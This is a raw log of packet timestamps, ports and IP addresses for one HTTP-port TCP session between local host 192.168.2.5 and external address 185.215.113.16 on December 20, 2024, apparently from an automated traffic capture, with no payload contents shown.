Dec 20, 2024 16:07:09.698205948 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.698880911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.698931932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.699367046 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.699415922 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.699929953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.699981928 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.700273037 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.700334072 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.700930119 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.700973988 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.701060057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.701097965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.701946974 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.701998949 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.702069044 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.702114105 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.702953100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.703006983 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.703121901 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.703167915 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.704020977 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.704072952 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.704093933 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.704138994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.705029011 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.705104113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.705106974 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.705149889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.706029892 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.706082106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.706259012 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.706305981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.707031965 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.707083941 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.707282066 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.707331896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.708492994 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.708508968 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.708550930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.708579063 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.709115028 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.709129095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.709170103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.709187031 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.710112095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.710165977 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.710196018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.710241079 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.711191893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.711244106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.711400032 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.711446047 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.712203979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.712255955 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.712315083 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.712361097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.713156939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.713206053 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.713227034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.713273048 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.714142084 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.714195967 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.714704037 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.714756012 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.715213060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.715281010 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.715296984 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.715342999 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.716265917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.716317892 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.716546059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.716603041 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.717256069 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.717308044 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.717556000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.717605114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.718262911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.718316078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.718493938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.718549967 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.719245911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.719305992 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.719393969 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.719444036 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.720259905 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.720321894 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.720563889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.720618010 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.721267939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.721330881 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.721810102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.721869946 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.722390890 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.722454071 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.724483967 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.724777937 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.725236893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725253105 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725265980 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725281000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725379944 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725491047 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.725658894 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.727475882 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.727492094 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.727722883 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.728488922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.728549004 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.728673935 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.728729963 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.729034901 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.729048014 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.729366064 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.729460001 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.729512930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.729720116 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.729773045 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.730516911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.730550051 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.730587006 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.730597973 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.732069969 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.732130051 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.733046055 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.733103037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.733551025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.733571053 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.733597994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.733613968 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.733664989 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.733678102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.733711004 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.734585047 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.734633923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.736047983 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.736135006 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.736922026 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.736937046 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.736978054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.737520933 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.737534046 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.737575054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.737605095 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.737770081 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.737843990 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.737926960 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.738028049 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.738862038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.738874912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.738918066 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.739622116 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.739675045 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.739767075 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.739809036 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.740679026 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.740808964 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.740849972 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.740866899 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.741687059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.741738081 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.741782904 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.741826057 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.742664099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.742711067 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.742722034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.742769003 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.882154942 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.882236958 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.882720947 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.882735968 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.882776976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.882879019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.882920027 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.883770943 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.883819103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.884125948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.884175062 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.884809017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.884850025 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.884928942 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.884984970 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.885284901 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.885329008 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.885366917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.885406971 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.885997057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.886044979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.886161089 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.886202097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.887494087 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.887541056 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.888936996 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.889005899 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.889091015 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.889106035 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.889136076 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.889158964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.889254093 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.889293909 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.889944077 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.889986038 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.890271902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.890316010 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.890455961 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.890496969 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.891647100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.891694069 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.891763926 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.891803026 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.892335892 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.892373085 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.892510891 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.892548084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.893229008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.893270016 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.893529892 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.893565893 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.894135952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.894179106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.894275904 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.894313097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.895103931 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.895117998 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.895143032 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.895165920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.897878885 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.897939920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.898521900 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.898536921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.898550034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.898562908 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.898588896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.898664951 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.898703098 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.899003029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.899068117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.899342060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.899353981 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.899383068 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.899393082 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.900650024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.900693893 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.900825977 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.900866985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.901320934 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.901359081 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.901979923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.902030945 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.902406931 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.902443886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.902748108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.902791023 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.903408051 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.903445959 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.903729916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.903763056 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.904402971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.904443979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.905066013 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.905107975 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.905554056 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.905592918 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.906213045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.906251907 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.906529903 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.906567097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.907283068 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.907298088 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.907321930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.907341003 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.907470942 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.907509089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.908354998 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.908370972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.908396959 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.908417940 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.909305096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.909363985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.909531116 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.909569025 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.910402060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.910445929 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.910542965 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.910579920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.911345005 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.911385059 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.911953926 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.911995888 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.912396908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.912434101 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.912503958 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.912539959 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.913579941 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.913624048 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.913753033 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.913791895 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.914522886 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.914566040 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.914644003 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.914680958 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.915468931 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.915512085 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.915771961 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.915813923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.916634083 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.916682005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.916753054 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.916791916 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.917516947 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.917557001 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.917627096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.917665005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.918589115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.918632030 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.918720961 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.918760061 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.919523001 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.919589043 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.919791937 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.919830084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.920540094 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.920586109 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.920819998 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.920860052 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.921552896 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.921596050 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.921670914 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.921709061 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.922559023 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.922600031 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.922704935 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.922745943 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.923588991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.923633099 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.924025059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.924066067 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.924592018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.924633026 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.925040960 CET	80	49806	185.215.113.16	192.168.2.5
